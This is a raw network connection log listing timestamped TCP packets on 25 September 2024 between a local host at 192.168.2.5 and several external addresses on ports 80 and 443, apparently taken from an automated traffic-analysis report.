Sep 25, 2024 16:01:56.801142931 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.801580906 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.801664114 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.801677942 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.801774979 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.802514076 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.802617073 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.802622080 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.802644968 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.802686930 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.802706003 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.843295097 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.843446016 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.868166924 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.868299961 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.885292053 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.885349035 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.885401964 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.885411978 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.885436058 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.885487080 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.885612011 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.885804892 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.886023045 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.886096954 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.886120081 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.886274099 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.886624098 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.886719942 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.886938095 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.887025118 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.887053013 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.887125969 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.890285969 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.890368938 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.890425920 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.890499115 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.890767097 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.890818119 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.890834093 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.890841007 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.890887976 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.890887976 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.891108036 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.891230106 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.891535044 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.891710043 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.930202961 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.930351019 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.955024958 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.955197096 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.971975088 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.972095966 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.972117901 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.972188950 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.972229958 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.972358942 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.972394943 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.972462893 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.972528934 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.972681046 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.972697020 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.972707033 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.972759008 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.972759008 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.972822905 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.972918034 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.973046064 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.973125935 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.973202944 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.973283052 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.973323107 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.973432064 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.973440886 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.973459005 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.973529100 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.973599911 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.973614931 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.973614931 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.973639011 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:56.973660946 CEST	49731	443	192.168.2.5	23.145.40.164
Sep 25, 2024 16:01:56.973666906 CEST	443	49731	23.145.40.164	192.168.2.5
Sep 25, 2024 16:01:57.189412117 CEST	49732	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:57.194350004 CEST	80	49732	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:57.194452047 CEST	49732	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:57.194613934 CEST	49732	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:57.194637060 CEST	49732	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:57.199404955 CEST	80	49732	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:57.199536085 CEST	80	49732	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:58.462407112 CEST	80	49732	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:58.462481976 CEST	80	49732	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:58.462541103 CEST	49732	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:58.462683916 CEST	49732	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:58.466084003 CEST	49733	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:58.467457056 CEST	80	49732	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:58.471036911 CEST	80	49733	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:58.471144915 CEST	49733	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:58.471280098 CEST	49733	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:58.471318007 CEST	49733	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:58.478075981 CEST	80	49733	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:58.478087902 CEST	80	49733	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:59.728923082 CEST	80	49733	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:59.728986025 CEST	80	49733	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:59.729147911 CEST	49733	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:59.729372978 CEST	49733	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:59.732570887 CEST	49735	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:59.734184027 CEST	80	49733	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:59.737420082 CEST	80	49735	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:59.737492085 CEST	49735	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:59.737637997 CEST	49735	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:59.737658978 CEST	49735	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:01:59.742433071 CEST	80	49735	116.58.10.60	192.168.2.5
Sep 25, 2024 16:01:59.742516994 CEST	80	49735	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:01.002402067 CEST	80	49735	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:01.002497911 CEST	80	49735	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:01.002562046 CEST	49735	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:01.003802061 CEST	49735	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:01.008774042 CEST	80	49735	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:01.051676035 CEST	49736	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:01.058191061 CEST	80	49736	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:01.058329105 CEST	49736	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:01.058787107 CEST	49736	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:01.059075117 CEST	49736	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:01.064486980 CEST	80	49736	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:01.065558910 CEST	80	49736	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:02.506156921 CEST	80	49736	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:02.507786036 CEST	80	49736	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:02.511353016 CEST	49736	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:02.511409998 CEST	49736	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:02.514549971 CEST	49737	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:02.516330004 CEST	80	49736	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:02.519522905 CEST	80	49737	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:02.523319006 CEST	49737	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:02.523468018 CEST	49737	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:02.523485899 CEST	49737	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:02.528295040 CEST	80	49737	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:02.528538942 CEST	80	49737	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:04.095367908 CEST	80	49737	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:04.095578909 CEST	80	49737	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:04.095673084 CEST	49737	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:04.098129034 CEST	49737	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:04.101264000 CEST	49738	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:04.102936983 CEST	80	49737	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:04.106034994 CEST	80	49738	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:04.106129885 CEST	49738	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:04.106247902 CEST	49738	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:04.106264114 CEST	49738	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:04.111059904 CEST	80	49738	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:04.111069918 CEST	80	49738	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:06.504560947 CEST	80	49738	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:06.505426884 CEST	80	49738	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:06.505503893 CEST	49738	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:06.505557060 CEST	49738	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:06.508286953 CEST	49739	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:06.510571957 CEST	80	49738	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:06.513189077 CEST	80	49739	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:06.513273001 CEST	49739	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:06.513477087 CEST	49739	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:06.513477087 CEST	49739	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:06.518263102 CEST	80	49739	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:06.518306017 CEST	80	49739	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:07.770028114 CEST	80	49739	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:07.770047903 CEST	80	49739	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:07.770117998 CEST	49739	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:07.770293951 CEST	49739	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:07.772984982 CEST	49740	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:07.775053978 CEST	80	49739	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:07.777805090 CEST	80	49740	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:07.777879000 CEST	49740	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:07.777985096 CEST	49740	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:07.777998924 CEST	49740	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:07.782973051 CEST	80	49740	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:07.782988071 CEST	80	49740	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:09.265044928 CEST	80	49740	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:09.265058994 CEST	80	49740	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:09.265137911 CEST	80	49740	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:09.265192986 CEST	49740	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:09.265211105 CEST	49740	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:09.265326023 CEST	49740	80	192.168.2.5	116.58.10.60
Sep 25, 2024 16:02:09.274643898 CEST	80	49740	116.58.10.60	192.168.2.5
Sep 25, 2024 16:02:19.526936054 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:19.526977062 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:19.527180910 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:19.528192997 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:19.528208971 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.148782015 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.148936987 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.151043892 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.151057005 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.151364088 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.155854940 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.155888081 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.155956984 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.563478947 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.563507080 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.563590050 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.563601971 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.605181932 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.611789942 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.611807108 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.611942053 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.611960888 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.612742901 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.612878084 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.612886906 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.653908014 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.654031038 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.654052019 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.659966946 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.659977913 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.660048008 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.660058022 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.702136040 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.702163935 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.702223063 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.702234030 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.702267885 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.703294039 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.703305006 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.703337908 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.703366995 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.703372002 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.703401089 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.705018997 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.705029011 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.705079079 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.705084085 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.728591919 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.728604078 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.728701115 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.728710890 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.744724989 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.744734049 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.744813919 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.744823933 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.750771999 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.750781059 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.750802040 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.750863075 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.750890970 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.750905991 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.751557112 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.751566887 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.751636028 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.751650095 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.772063017 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.772075891 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.772130013 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.772147894 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.792891026 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.792911053 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.792978048 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.792987108 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.793613911 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.793623924 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.793646097 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.793675900 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.793680906 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.793700933 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.797796965 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.797806978 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.797863960 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.797871113 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.818969011 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.818983078 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.819103003 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.819152117 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.819658041 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.819669008 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.819736004 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.819756031 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.819766998 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.834904909 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.834944010 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.835019112 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.835051060 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.835063934 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.841243029 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.841283083 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.841336966 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.841346979 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.841375113 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.841378927 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.841389894 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.841422081 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.841428041 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.841449976 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.842155933 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.842216015 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.842222929 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.842412949 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.842469931 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.842474937 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.843293905 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.843348980 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.843354940 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.861329079 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.861488104 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.861500025 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.883471966 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.883595943 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.883606911 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.883734941 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.883745909 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.883820057 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.883825064 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.883841991 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.883887053 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.883892059 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.883929968 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.883934021 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.884648085 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.884716988 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.884727955 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.885492086 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.885565042 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.885584116 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.904843092 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.904956102 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.904978991 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.909823895 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.909914017 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.909934044 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.925359964 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.925437927 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.925446033 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.931005001 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.931066990 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.931071997 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.931154966 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.931201935 CEST	49741	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:02:20.931205988 CEST	443	49741	23.145.40.162	192.168.2.5
Sep 25, 2024 16:02:20.931246996 CEST	49741	443	192.168.2.5	23.145.40.162
